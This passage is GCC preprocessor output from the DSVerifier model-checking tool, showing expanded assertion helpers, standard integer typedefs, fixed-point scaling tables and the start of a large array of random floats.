# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
((void) sizeof ((
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ; else __assert_fail (
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
"expression"
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h", 36, __extension__ __PRETTY_FUNCTION__); }))
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
;
}
void __DSVERIFIER_assert_msg(_Bool expression, char * msg){
printf("%s", msg);
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
((void) sizeof ((
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ; else __assert_fail (
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
"expression"
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h", 41, __extension__ __PRETTY_FUNCTION__); }))
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
;
}
# 22 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 1
# 27 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 1 3 4
# 9 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 3 4
# 1 "/usr/include/stdint.h" 1 3 4
# 26 "/usr/include/stdint.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 27 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wchar.h" 1 3 4
# 29 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 30 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 3 4
typedef __uint8_t uint8_t;
typedef __uint16_t uint16_t;
typedef __uint32_t uint32_t;
typedef __uint64_t uint64_t;
# 38 "/usr/include/stdint.h" 2 3 4
typedef __int_least8_t int_least8_t;
typedef __int_least16_t int_least16_t;
typedef __int_least32_t int_least32_t;
typedef __int_least64_t int_least64_t;
typedef __uint_least8_t uint_least8_t;
typedef __uint_least16_t uint_least16_t;
typedef __uint_least32_t uint_least32_t;
typedef __uint_least64_t uint_least64_t;
typedef signed char int_fast8_t;
typedef long int int_fast16_t;
typedef long int int_fast32_t;
typedef long int int_fast64_t;
# 71 "/usr/include/stdint.h" 3 4
typedef unsigned char uint_fast8_t;
typedef unsigned long int uint_fast16_t;
typedef unsigned long int uint_fast32_t;
typedef unsigned long int uint_fast64_t;
# 87 "/usr/include/stdint.h" 3 4
typedef long int intptr_t;
typedef unsigned long int uintptr_t;
# 101 "/usr/include/stdint.h" 3 4
typedef __intmax_t intmax_t;
typedef __uintmax_t uintmax_t;
# 10 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 2 3 4
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 2
# 1 "/usr/include/inttypes.h" 1 3 4
# 34 "/usr/include/inttypes.h" 3 4
typedef int __gwchar_t;
# 266 "/usr/include/inttypes.h" 3 4
typedef struct
{
long int quot;
long int rem;
} imaxdiv_t;
# 290 "/usr/include/inttypes.h" 3 4
extern intmax_t imaxabs (intmax_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern imaxdiv_t imaxdiv (intmax_t __numer, intmax_t __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern intmax_t strtoimax (const char *__restrict __nptr,
char **__restrict __endptr, int __base) __attribute__ ((__nothrow__ , __leaf__));
extern uintmax_t strtoumax (const char *__restrict __nptr,
char ** __restrict __endptr, int __base) __attribute__ ((__nothrow__ , __leaf__));
extern intmax_t wcstoimax (const __gwchar_t *__restrict __nptr,
__gwchar_t **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__));
extern uintmax_t wcstoumax (const __gwchar_t *__restrict __nptr,
__gwchar_t ** __restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__));
# 432 "/usr/include/inttypes.h" 3 4
# 29 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 2
# 30 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
extern implementation impl;
typedef int64_t fxp_t;
fxp_t _fxp_one;
fxp_t _fxp_half;
fxp_t _fxp_minus_one;
fxp_t _fxp_min;
fxp_t _fxp_max;
double _dbl_max;
double _dbl_min;
fxp_t _fxp_fmask;
fxp_t _fxp_imask;
static const double scale_factor[31] = { 1.0, 2.0, 4.0, 8.0, 16.0, 32.0, 64.0,
128.0, 256.0, 512.0, 1024.0, 2048.0, 4096.0, 8192.0, 16384.0, 32768.0,
65536.0, 131072.0, 262144.0, 524288.0, 1048576.0, 2097152.0, 4194304.0,
8388608.0, 16777216.0, 33554432.0, 67108864.0, 134217728.0,
268435456.0, 536870912.0, 1073741824.0 };
static const double scale_factor_inv[31] = { 1.0, 0.5, 0.25, 0.125, 0.0625,
0.03125, 0.015625, 0.0078125, 0.00390625, 0.001953125, 0.0009765625,
0.00048828125, 0.000244140625, 0.0001220703125, 0.00006103515625,
0.000030517578125, 0.000015258789063, 0.000007629394531,
0.000003814697266, 0.000001907348633, 0.000000953674316,
0.000000476837158, 0.000000238418579, 0.000000119209290,
0.000000059604645, 0.000000029802322, 0.000000014901161,
0.000000007450581, 0.000000003725290, 0.000000001862645,
0.000000000931323 };
static const float rand_uni[10000] = { -0.486240329978498f, -0.0886462298529236f, -0.140307596103306f, 0.301096597450952f, 0.0993171079928659f, 0.971751769763271f, 0.985173975730828f, 0.555993645184930f, 0.582088652691427f, -0.153377496651175f, 0.383610009058905f, -0.335724126391271f, 0.978768141636516f, -0.276250018648572f, 0.390075705739569f, -0.179022404038782f, 0.690083827115783f, -0.872530132490992f, -0.970585763293203f, -0.581476053441704f, -0.532614615674888f, -0.239699306693312f, -0.678183014035494f, 0.349502640932782f, -0.210469890686263f, 0.841262085391842f, -0.473585465151401f, 0.659383565443701f, -0.651160036945754f, -0.961043527561335f, -0.0814927639199137f, 0.621303110569702f, -0.784529166943541f, 0.0238464770757800f, 0.392694728594110f, 0.776848735202001f, 0.0870059709310509f, 0.880563655271790f, 0.883457036977564f, -0.249235082877382f, -0.691040749216870f, 0.578731120064320f, -0.973932858000832f, -0.117699105431720f, -0.723831748151088f, -0.483149657477524f, -0.821277691383664f, -0.459725618100875f, 0.148175952221864f, 0.444306875534854f, -0.325610376336498f, 0.544142311404910f, -0.165319440455435f, 0.136706800705517f, 0.543312481350682f, 0.467210959764607f, -0.349266618228534f, -0.660110730565862f, 0.910332331495431f, 0.961049802789367f, -0.786168905164629f, 0.305648402726554f, 0.510815258508885f, 0.0950733260984060f, 0.173750645487898f, 0.144488668408672f, 0.0190031984466126f, -0.299194577636724f, 0.302411647442273f, -0.730462524226212f, 0.688646006554796f, 0.134948379722118f, 0.533716723458894f, -0.00226300779660438f, -0.561340777806718f, 0.450396313744017f, -0.569445876566955f, 0.954155246557698f, -0.255403882430676f, -0.759820984120828f, -0.855279790307514f, -0.147352581758156f, -0.302269055643746f, -0.642038024364086f, -0.367405981107491f, 0.491844011712164f, -0.542191710121194f, -0.938294043323732f, 0.683979894338020f, 0.294728290855287f, 0.00662691839443919f, -0.931040350582855f, 0.152356209974418f, 0.678620860551457f, -0.534989269238408f, 0.932096367913226f, -0.0361062818028513f, -0.847189697149530f, -0.975903030160255f, 0.623293205784014f, -0.661289688031659f, 0.724486055119603f, 0.307504095172835f, 0.00739266163731767f, -0.393681596442097f, 0.0313739422974388f, 0.0768157689673350f, -0.652063346886817f, 0.864188030044388f, -0.588932092781034f, 0.496015896758580f, -0.872858269231211f, 0.978780599551039f, -0.504887732991147f, -0.462378791937628f, 0.0141726829338038f, 0.769610007653591f, 0.945233033188923f, -0.782235375325016f, -0.832206533738799f, 0.745634368088673f, -0.696969510157151f, -0.0674631869948374f, -0.123186450806584f, -0.359158959141949f, -0.393882649464391f, 0.441371446689899f, -0.829394270569736f, -0.301502651277431f, -0.996215501187289f, 0.934634037393066f, -0.282431114746289f, -0.927550795619590f, -0.437037530043415f, -0.360426812995980f, 0.949549724575862f, 0.502784616197919f, 0.800771681422909f, -0.511398929004089f, 0.309288504642554f, -0.207261227890933f, 0.930587995125773f, -0.777029876696670f, -0.489329175755640f, -0.134595132329858f, 0.285771358983518f, 0.182331373854387f, -0.544110494560697f, 0.278439882883985f, -0.556325158102182f, 0.579043806545889f, 0.134648133801916f, 0.602850725479294f, -0.151663563868883f, 0.180694361855878f, -0.651591295315595f, 0.281129147768056f, -0.580047306475484f, 0.687883075491433f, 0.279398670804288f, -0.853428128249503f, -0.532609367372680f, -0.821156786377917f, -0.181273229058573f, -0.983898569846882f, -0.0964374318311501f, 0.880923372124250f, 0.102643371392389f, 0.893615387135596f, -0.259276649383649f, 0.699287743639363f, 0.402940604635828f, -0.110721596226581f, 0.0846246472582877f, 0.820733021865405f, 0.795578903285308f, -0.495144122011537f, 0.273150029257472f, -0.268249949701437f, 0.231982193341980f, 0.694211299124074f, 0.859950868718233f, 0.959483382623794f, -0.422972626833543f, -0.109621798738360f, 0.433094703426531f, 0.694025903378851f, 0.374478987547435f, -0.293668545105608f, -0.396213864190828f, -0.0632095887099047f, -0.0285139536748673f, 0.831794132192390f, -0.548543088139238f, 0.791869201724680f, 0.325211484201845f, 0.155274810721772f, -0.112383643064821f, -0.674403070297721f, 0.642801068229810f, -0.615712048835242f, -0.322576771285566f, -0.409336818836595f, 0.548069973193770f, -0.386353709407947f, -0.0741664985357784f, 0.619639599324983f, -0.815703814931314f, 0.965550307223862f, 0.623407852683828f, -0.789634372832984f, 0.736750050047572f, -0.0269443926793700f, 0.00545706093721488f, -0.315712479832091f, -0.890110021644720f, -0.869390443173846f, -0.381538869981866f, -0.109498998005949f, 0.131433952330613f, -0.233452413139316f, 0.660289822785465f, 0.543381186340023f, -0.384712418750451f, -0.913477554164890f, 0.767102957655267f, -0.115129944521936f, -0.741161985822647f, -0.0604180020782450f, -0.819131535144059f, -0.409539679760029f, 0.574419252943637f, -0.0440704617157433f, 0.933173744590532f, 0.261360623390448f, -0.880290575543046f, 0.329806293425492f, 0.548915621667952f, 0.635187167795234f, -0.611034070318967f, 0.458196727901944f, 0.397377226781023f, 0.711941361933987f, 0.782147744383368f, -0.00300685339552631f, 0.384687233450957f, 0.810102466029521f, 0.452919847968424f, -0.183164257016897f, -0.755603185485427f, -0.604334477365858f, -0.786222413488860f, -0.434887500763099f, -0.678845635625581f, -0.381200370488331f, -0.582350534916068f, -0.0444427346996734f, 0.116237247526397f, -0.364680921206275f, -0.829395404347498f, -0.258574590032613f, -0.910082114298859f, 0.501356900925997f, 0.0295361922006900f, -0.471786618165219f, 0.536352925101547f, -0.316120662284464f, -0.168902841718737f, 0.970850119987976f, -0.813818666854395f, -0.0861183123848732f, 0.866784827877161f, 0.535966478165739f, -0.806958669103425f, -0.627307415616045f, -0.686618354673079f, 0.0239165685193152f, 0.525427699287402f, 0.834079334357391f, -0.527333932295852f, 0.130970034225907f, -0.790218350377199f, 0.399338640441987f, 0.133591886379939f, -0.181354311053254f, 0.420121912637914f, -0.625002202728601f, -0.293296669160307f, 0.0113819513424340f, -0.882382002895096f, -0.883750159690028f, 0.441583656876336f, -0.439054135454480f, 0.873049498123622f, 0.660844523562817f, 0.0104240153103699f, 0.611420248331623f, -0.235926309432748f, 0.207317724918460f, 0.884691834560657f, 0.128302402592277f, -0.283754448219060f, 0.237649901255856f, 0.610200763264703f, -0.625035441247926f, -0.964609592118695f, -0.323146562743113f, 0.961529402270719f, -0.793576233735450f, -0.843916713821003f, 0.314105102728384f, -0.204535560653294f, 0.753318789613803f, 0.160678386635821f, -0.647065919861379f, -0.202789866826280f, 0.648108234268198f, -0.261292621025902f, 0.156681828732770f, 0.405377351820066f, 0.228465381497500f, 0.972348516671163f, 0.288346037401522f, -0.0799068604307178f, 0.916939290109587f, -0.279220972402209f, -0.203447523864279f, -0.533640046855273f, 0.543561961674653f, 0.880711097286889f, -0.549683064687774f, 0.0130107219236368f, -0.554838164576024f, -0.379442406201385f, -0.00500104610043062f, 0.409530122826868f, -0.580423080726061f, 0.824555731914455f, -0.254134502966922f, 0.655609706875230f, 0.629093866184236f, -0.690033250889974f, -0.652346551677826f, 0.169820593515952f, 0.922459552232043f, 0.351812083539940f, 0.876342426613034f, -0.513486005850680f, -0.626382302780497f, -0.734690688861027f, 0.245594886018314f, -0.875740935105191f, -0.388580462918006f, 0.0127041754106421f, -0.0330962560066819f, -0.425003146474193f, 0.0281641353527495f, 0.261441358666622f, 0.949781327102773f, 0.919646340564270f, 0.504503377003781f, 0.0817071051871894f, 0.319968570729658f, 0.229065413577318f, -0.0512608414259468f, -0.0740848540944785f, -0.0974457038582892f, 0.532775710298005f, -0.492913317622840f, 0.492871078783642f, -0.289562388384881f, 0.229149968879593f, 0.697586903105899f, 0.900855243684925f, 0.969700445892771f, -0.618162745501349f, -0.533241431614228f, -0.937955908995453f, 0.886669636523452f, 0.498748076602594f, 0.974106016180519f, -0.199411214757595f, 0.725270392729083f, -0.0279932700005097f, -0.889385821767448f, -0.452211028905500f, -0.487216271217731f, -0.577105004471439f, 0.777405674160298f, 0.390121144627092f, -0.595062864225581f, -0.844712795815575f, -0.894819796738658f, 0.0556635002662202f, 0.200767245646242f, 0.481227096067452f, -0.0854169009474664f, 0.524532943920022f, -0.880292014538901f, -0.127923833629789f, -0.929275628802356f, 0.233276357260949f, -0.776272194935070f, 0.953325886548014f, -0.884399921036004f, -0.504227548828417f, -0.546526107689276f, 0.852622421886067f, 0.947722695551154f, -0.668635552599119f, 0.768739709906834f, 0.830755876586102f, -0.720579994994166f, 0.761613532216491f, 0.340510345777526f, 0.335046764810816f, 0.490102926886310f, -0.568989013749608f, -0.296018470377601f, 0.979838924243657f, 0.624231653632879f, 0.553904401851075f, -0.355359451941014f, 0.267623165480721f, 0.985914275634075f, -0.741887849211797f, 0.560479100333108f, -0.602590162007993f, -0.874870765077352f, -0.0306218773384892f, 0.963145768131215f, 0.544824028787036f, -0.133990816021791f, 0.0679964588712787f, -0.156401335214901f, -0.0802554171832672f, 0.856386218492912f, 0.143013580527942f, 0.403921859374840f, -0.179029058044097f, 0.770723540077919f, -0.183650969350452f, -0.340718434629824f, 0.217166124261387f, -0.171159949445977f, 0.127493767348173f, -0.649649349141405f, -0.0986978180993434f, 0.301786606637125f, 0.942172200207855f, 0.0323236270151113f, -0.579853744301016f, -0.964413060851558f, 0.917535782777861f, 0.442144649483292f, -0.684960854610878f, -0.418908715566712f, 0.617844265088789f, 0.897145578082386f, 0.235463167636481f, 0.0166312355859484f, 0.948331447443040f, -0.961085640409103f, -0.0386086809179784f, -0.949138997977665f, 0.738211385880427f, 0.613757309091864f, -0.606937832993426f, 0.825253298062192f, 0.932609757667859f, -0.169023247637751f, -0.411237965787391f, 0.550590803600950f, -0.0561729280137304f, -0.559663108323671f, -0.718592671237337f, 0.885889621415361f, -0.364207826334344f, -0.839614660327507f, 0.265502694339344f, 0.394329270534417f, -0.270184577808578f, -0.865353487778069f, -0.528848754655393f, -0.179961524561963f, 0.571721065613544f, -0.774363220756696f, 0.251123315200792f, -0.217722762975159f, 0.0901359910328954f, -0.329445470667965f, 0.366410356722994f, -0.777512662632715f, 0.654844363477267f, -0.882409911562713f, -0.613612530795153f, -0.926517759636550f, 0.111572665207194f, 0.0729846382226607f, 0.789912813274098,
0.784452109264882f, -0.949766989295825f, 0.318378232675431f, 0.732077593075111f, 0.786829143208386f, -0.134682559823644f, 0.733164743374965f, 0.978410877665941f, 0.992008491438409f, -0.319064303035495f, 0.958430683602029f, 0.514518212363212f, 0.101876224417090f, 0.642655735778237f, -0.170746516901312f, 0.252352078365623f, -0.761327278132210f, 0.724119717129199f, 0.889374997869224f, -0.785987369200692f, -0.594670344572584f, 0.805192297495935f, -0.990523259595814f, 0.483998949026664f, 0.747350619254878f, -0.824845161088780f, 0.543009506581798f, -0.208778528683094f, -0.314149951901368f, 0.943576771177672f, -0.102633559170861f, -0.947663019606703f, -0.557033071578968f, 0.419150797499848f, 0.251214274356296f, 0.565717763755325f, 0.126676667925064f, -0.0213369479214840f, 0.342212953426240f, -0.288015274572288f, 0.121313363277304f, 0.452832374494206f, 0.545420403121955f, -0.616024063400938f, -0.0320352392995826f, -0.400581850938279f, 0.0642433474653812f, -0.673966224453150f, 0.951962939602010f, -0.241906012952983f, 0.0322060960995099f, -0.449185553826233f, -0.709575766146540f, 0.0283340814242898f, 0.234237103593580f, -0.285526615094797f, -0.793192668153991f, -0.437130485497140f, -0.956132143306919f, 0.601158367473616f, 0.238689691528783f, 0.173709925321432f, 0.437983847738997f, 0.397380645202102f, 0.432093344086237f, -0.0338869881121104f, -0.966303269542493f, 0.875351570183604f, -0.0584554089652962f, 0.294207497692552f, 0.200323088145182f, 0.826642387259759f, 0.284806025494260f, -0.00660991970522007f, 0.682493772727303f, -0.151980775670668f, 0.0470705546940635f, -0.236378427235531f, -0.844780853112247f, 0.134166207564174f, -0.586842667384924f, 0.0711866699414370f, 0.311698821368897f, -0.361229767252053f, 0.750924311039976f, 0.0764323989785694f, 0.898463708247144f, 0.398232179543916f, -0.515644913011399f, -0.189067061520362f, -0.567430593060929f, -0.641924269747436f, -0.0960378699625619f, -0.792054031692334f, 0.803891878854351f, -0.233518627249889f, -0.892523453249154f, 0.707550017996875f, -0.782288435525895f, -0.156166443894764f, -0.543737876329167f, 0.565637809380957f, -0.757689989749326f, -0.612543942167974f, -0.766327195073259f, 0.587626843767440f, -0.280769385897397f, -0.457487372245825f, 0.0862799426622438f, -0.616867284053547f, 0.121778903484808f, -0.451988651573766f, -0.618146087265495f, -0.285868777534354f, 0.108999472244014f, -0.620755183347358f, -0.268563184810196f, -0.721678169615489f, -0.146060198874409f, -0.661506858070617f, 0.901707853998409f, 0.222488776533930f, 0.679599685031679f, 0.974760448601209f, 0.535485953830496f, -0.562345697123585f, 0.369219363331071f, -0.0282801684694869f, -0.0734880727832297f, 0.733216287314358f, -0.514352095765627f, -0.850813063545195f, 0.642458447327163f, 0.118661521915783f, -0.907015526838341f, 0.789277766886329f, -0.719864125961721f, 0.274329068829509f, 0.830124687647056f, 0.719352367261587f, -0.821767317737384f, -0.840153496829227f, 0.650796781936517f, 0.381065387870166f, 0.341870564586224f, -0.00174423702285131f, -0.216348832349188f, 0.678010477635713f, -0.748695103596683f, -0.819659325555269f, 0.620922373008647f, 0.471659250504894f, 0.417848292160984f, -0.990577315445198f, -0.509842007818877f, 0.705761459091187f, 0.723072116074702f, -0.606476484252158f, -0.871593699865195f, -0.662059658667501f, -0.207267692377271f, -0.274706370444270f, 0.317047325063391f, 0.329780707114887f, -0.966325651181920f, -0.666131009799803f, 0.118609206658210f, 0.232960448350140f, -0.139134616436389f, -0.936412642687343f, -0.554985387484625f, -0.609914445911143f, -0.371023087262482f, -0.461044793696911f, 0.0277553171809701f, -0.241589304772568f, -0.990769995548029f, 0.114245771600061f, -0.924483328431436f, 0.237901450206836f, -0.615461633242452f, 0.201497106528945f, -0.599898812620374f, 0.982389910778332f, 0.125701388874024f, -0.892749115498369f, 0.513592673006880f, 0.229316745749793f, 0.422997355912517f, 0.150920221978738f, 0.447743452078441f, 0.366767059168664f, -0.605741985891581f, 0.274905013892524f, -0.861378867171578f, -0.731508622159258f, 0.171187057183023f, 0.250833501952177f, -0.609814068526718f, -0.639397597618127f, -0.712497631420166f, -0.539831932321101f, -0.962361328901384f, 0.799060001548069f, 0.618582550608426f, -0.603865594092701f, -0.750840334759883f, -0.432368099184739f, -0.581021252111797f, 0.134711953024238f, 0.331863889421602f, -0.172907726656169f, -0.435358718118896f, -0.689326993725649f, 0.415840315809038f, -0.333576262820904f, 0.279343777676723f, -0.0393098862927832f, 0.00852090010085194f, -0.853705195692250f, 0.526006696633762f, -0.478653377052437f, -0.584840261391485f, 0.679261003071696f, 0.0367484618219474f, -0.616340335633997f, -0.912843423145420f, -0.221248732289686f, -0.477921890680232f, -0.127369625511666f, 0.865190146410824f, 0.817916456258544f, 0.445973590438029f, -0.621435280140991f, -0.584264056171687f, 0.718712277931876f, -0.337835985469843f, 0.00569064504159345f, -0.546546294846311f, 0.101653624648361f, -0.795498735829364f, -0.249043531299132f, -0.112839395737321f, -0.350305425122331f, -0.910866368205041f, 0.345503177966105f, -0.549306515692918f, 0.711774722622726f, 0.283368922297518f, 0.0401988801224620f, 0.269228967910704f, 0.408165826013612f, -0.306571373865680f, 0.937429053394878f, 0.992154362395068f, 0.679431847774404f, 0.660561953302554f, 0.903254489326130f, -0.939312119455540f, -0.211194531611303f, 0.401554296146757f, -0.0373187111351370f, -0.209143098987164f, -0.483955198209448f, -0.860858509666882f, 0.847006442151417f, 0.287950263267018f, 0.408253171937961f, -0.720812569529331f, 0.623305171273525f, 0.543495760078790f, -0.364025150023839f, -0.893335585394842f, -0.757545415624741f, -0.525417020183382f, -0.985814550271000f, -0.571551008375522f, 0.930716377819686f, -0.272863385293023f, 0.982334910750391f, 0.297868844366342f, 0.922428080219044f, 0.917194773824871f, 0.846964493212884f, 0.0641834146212110f, 0.279768184306094f, 0.591959126556958f, 0.355630573995206f, 0.839818707895839f, 0.219674727597944f, -0.174518904670883f, 0.708669864813752f, -0.224562931791369f, 0.677232454840133f, -0.904826802486527f, -0.627559033402838f, 0.263680517444611f, 0.121902314059156f, -0.704881790282995f, 0.242825089229032f, -0.309373554231866f, -0.479824461459095f, -0.720536286348018f, -0.460418173937526f, 0.774174710513849f, 0.452001499049874f, -0.316992092650694f, 0.153064869645527f, -0.209558599627989f, 0.685508351648252f, -0.508615450383790f, 0.598109567185095f, 0.391177475074196f, 0.964444988755186f, 0.336277292954506f, -0.0367817159101076f, -0.668752640081528f, 0.169621732437504f, -0.440925495294537f, 0.352359477392856f, 0.300517139597811f, 0.464188724292127f, 0.342732840629593f, -0.772028689116952f, 0.523987886508557f, 0.920723209445309f, 0.325634245623597f, 0.999728757965472f, -0.108202444213629f, -0.703463061246440f, -0.764321104361266f, 0.153478091277821f, 0.400776808520781f, 0.0362608595686520f, 0.602660289034871f, -0.00396673312072204f, 0.296881393918662f, 0.563978362789779f, 0.849699999703012f, 0.699481370949461f, -0.517318771826836f, 0.488696839410786f, -0.863267084031406f, 0.0353144039838211f, 0.346060763700543f, 0.964270355001567f, 0.354899825242107f, 0.806313705199543f, 0.675286452110240f, 0.0873918818789949f, -0.595319879813140f, 0.768247284622921f, 0.424433552458434f, -0.308023836359512f, 0.802163480612923f, -0.348151008192881f, -0.889061130591849f, -0.593277042719599f, -0.669426232128590f, 0.758542808803890f, 0.515943031751579f, -0.359688459650311f, 0.568175936707751f, 0.741304023515212f, 0.260283681057109f, 0.957668849401749f, -0.665096753421305f, 0.769229664798946f, -0.0871019488695104f, -0.362662093346394f, -0.411439775739547f, 0.700347493632751f, 0.593221225653487f, 0.712841887456470f, 0.413663813878195f, -0.868002281057698f, -0.704419248587642f, 0.497097875881516f, -0.00234623694758684f, 0.690202361192435f, -0.850266199595343f, 0.315244026446767f, 0.709124123964306f, 0.438047076925768f, 0.798239617424585f, 0.330853072912708f, 0.581059745965701f, 0.449755612947191f, -0.462738032798907f, 0.607731925865227f, 0.0898348455002427f, -0.762827831849901f, 0.895598896497952f, -0.752254194382105f, -0.0916186048978613f, -0.906243795607547f, 0.229263971313788f, 0.401148319671400f, -0.699999035942240f, 0.949897297168705f, 0.442965954562621f, -0.836602533575693f, 0.960460356865877f, -0.588638958628591f, -0.826876652501322f, 0.358883606332526f, 0.963216314331105f, -0.932992215875777f, -0.790078242370583f, 0.402080896170037f, -0.0768348888017805f, 0.728030138891631f, -0.259252300581205f, -0.239039520569651f, -0.0343187629251645f, -0.500656851699075f, 0.213230170834557f, -0.806162554023268f, -0.346741158269134f, 0.593197383681288f, -0.874207905790597f, 0.396896283395687f, -0.899758892162590f, 0.645625478431829f, 0.724064646901595f, 0.505831437483414f, -0.592809028527107f, 0.191058921738261f, 0.329699861086760f, 0.637747614705911f, 0.228492417185859f, 0.350565075483143f, 0.495645634191973f, 0.0378873636406241f, -0.558682871042752f, -0.0463515226573312f, -0.699882077624744f, -0.727701564368345f, -0.185876979038391f, 0.969357227041006f, -0.0396554302826258f, 0.994123321254905f, -0.103700411263859f, -0.122414150286554f, -0.952967253268750f, -0.310113557790019f, 0.389885130024049f, 0.698109781822753f, -0.566884614177461f, -0.807731715569885f, 0.295459359747620f, 0.353911434620388f, -0.0365360121873806f, -0.433710246410727f, -0.112374658849445f, -0.710362620548396f, -0.750188568899340f, -0.421921409270312f, -0.0946825033112555f, -0.207114343395422f, -0.712346704375406f, -0.762905208265238f, 0.668705185793373f, 0.874811836887758f, 0.734155331047614f, 0.0717699959166771f, -0.649642655211151f, 0.710177200600726f, -0.790892796708330f, -0.609051316139055f, 0.158155751049403f, 0.273837117392194f, 0.101461674737037f, -0.341978434311156f, 0.358741707078855f, 0.415990974906378f, 0.760270133083538f, 0.164383469371383f, 0.559847879549422f, 0.209104118141764f, -0.265721227148806f, 0.165407943936551f, 0.611035396421350f, -0.626230501208063f, -0.116714293310250f, -0.696697517286888f, 0.0545261414014888f, 0.440139257477096f, 0.202311640602444f, -0.369311356303593f, 0.901884565342531f, 0.256026357399272f, -0.673699547202088f, 0.108550667621349f, -0.961092940829968f, -0.254802826645023f, 0.553897912330318f, 0.110751075533042f, -0.587445414043347f, 0.786722059164009,
0.182042556749386f, 0.398835909383655f, 0.431324012457533f, 0.587021142157922f, -0.644072183989352f, 0.187430090296218f, 0.516741122998546f, -0.275250933267487f, -0.933673413249875f, -0.767709448823879f, 0.00345814033609182f, -0.585884382069128f, 0.463549040471035f, 0.666537178805293f, -0.393605927315148f, -0.260156573858491f, -0.298799291489529f, -0.246398415746503f, 0.970774181159203f, -0.485708631308223f, -0.456571313115555f, -0.264210030877189f, -0.442583504871362f, 0.0585567697312368f, 0.955769232723545f, 0.651822742221258f, 0.667605490119116f, -0.178564750516287f, 0.744464599638885f, -0.0962758978504710f, -0.538627454923738f, -0.844634654117462f, 0.109151162611125f, -0.862255427201396f, -0.478955305843323f, 0.645965860697344f, 0.345569271369828f, 0.930605011671297f, -0.195523686135506f, 0.927940875293964f, 0.0529927450986318f, -0.537243314646225f, 0.0815400161801159f, -0.528889663721737f, -0.0803965087898244f, 0.722188412643543f, -0.115173100460772f, 0.391581967064874f, 0.609102624309301f, -0.726409099849031f, -0.924071529212721f, -0.424370859730340f, -0.932399086010354f, -0.679903916227243f, 0.398593637781810f, -0.395942610474455f, 0.911017267923838f, 0.830660098751580f, 0.485689056693942f, -0.634874052918746f, 0.558342102044082f, 0.153345477027740f, -0.418797532948752f, -0.962412446404476f, 0.499334884055701f, 0.772755578982235f, 0.486905718186221f, -0.680415982465391f, -0.983589696155766f, 0.0802707365440833f, -0.108186099494932f, 0.272227706025405f, 0.651170828846750f, -0.804713753056757f, 0.778076504684911f, 0.869094633196957f, -0.213764089899489f, -0.289485853647921f, -0.248376169846176f, -0.273907386272412f, -0.272735585352615f, -0.851779302143109f, 0.777935500545070f, 0.610526499062369f, -0.825926925832998f, -0.00122853287679647f, -0.250920102747366f, -0.0333860483260329f, 0.562878228390427f, 